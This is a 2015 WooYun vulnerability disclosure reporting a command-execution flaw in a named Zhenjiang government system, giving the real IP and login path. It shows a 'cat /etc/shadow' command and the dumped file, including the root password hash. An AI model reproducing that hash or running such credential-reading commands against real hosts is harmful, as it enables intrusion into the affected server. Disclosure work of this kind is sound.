当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124176

漏洞标题：镇江市政府建议提案信息管理系统沦陷

相关厂商：中国镇江

漏洞作者： 朱元璋

提交时间：2015-07-05 12:09

修复时间：2015-08-23 17:46

公开时间：2015-08-23 17:46

漏洞类型：命令执行

危害等级：高

自评Rank：11

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-05： 细节已通知厂商并且等待厂商处理中
2015-07-09： 厂商已经确认，细节仅向厂商公开
2015-07-19： 细节向核心白帽子及相关领域专家公开
2015-07-29： 细节向普通白帽子公开
2015-08-08： 细节向实习白帽子公开
2015-08-23： 细节向公众公开

简要描述：

详细说明：

地址http://218.3.140.105/spims/out/login.action命令执行漏洞

0.png


1.png


cat /etc/shadow

root:$6$U5Ew0rNqiDJXOPQ3$5a9t5fKu9KaUyzcU4abpSpHoUwaoJ/RTkJLfyKwZW75HtQ9kGr0pTpRYg7nf4Wngj5M0AGVnOI6rNxCe.lI4y0:15953:0:99999:7:::
bin:*:15628:0:99999:7:::
daemon:*:15628:0:99999:7:::
adm:*:15628:0:99999:7:::
lp:*:15628:0:99999:7:::
sync:*:15628:0:99999:7:::
shutdown:*:15628:0:99999:7:::
halt:*:15628:0:99999:7:::
mail:*:15628:0:99999:7:::
uucp:*:15628:0:99999:7:::
operator:*:15628:0:99999:7:::
games:*:15628:0:99999:7:::
gopher:*:15628:0:99999:7:::
ftp:*:15628:0:99999:7:::
nobody:*:15628:0:99999:7:::
dbus:!!:15818::::::
usbmuxd:!!:15818::::::
vcsa:!!:15818::::::
rpc:!!:15818:0:99999:7:::
rtkit:!!:15818::::::
nscd:!!:15818::::::
avahi-autoipd:!!:15818::::::
abrt:!!:15818::::::
rpcuser:!!:15818::::::
nfsnobody:!!:15818::::::
apache:!!:15818::::::
ntp:!!:15818::::::
saslauth:!!:15818::::::
postfix:!!:15818::::::
mysql:!!:15818::::::
hsqldb:!!:15818::::::
haldaemon:!!:15818::::::
pulse:!!:15818::::::
gdm:!!:15818::::::
sshd:!!:15818::::::
nslcd:!!:15818::::::
tcpdump:!!:15818::::::


2.png

漏洞证明：

呵呵

修复方案：

加强安全意识

版权声明：转载请注明来源 朱元璋@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-07-09 17:45

厂商回复：

漏洞重复，不再重复处置

最新状态：

暂无

漏洞评价：

评论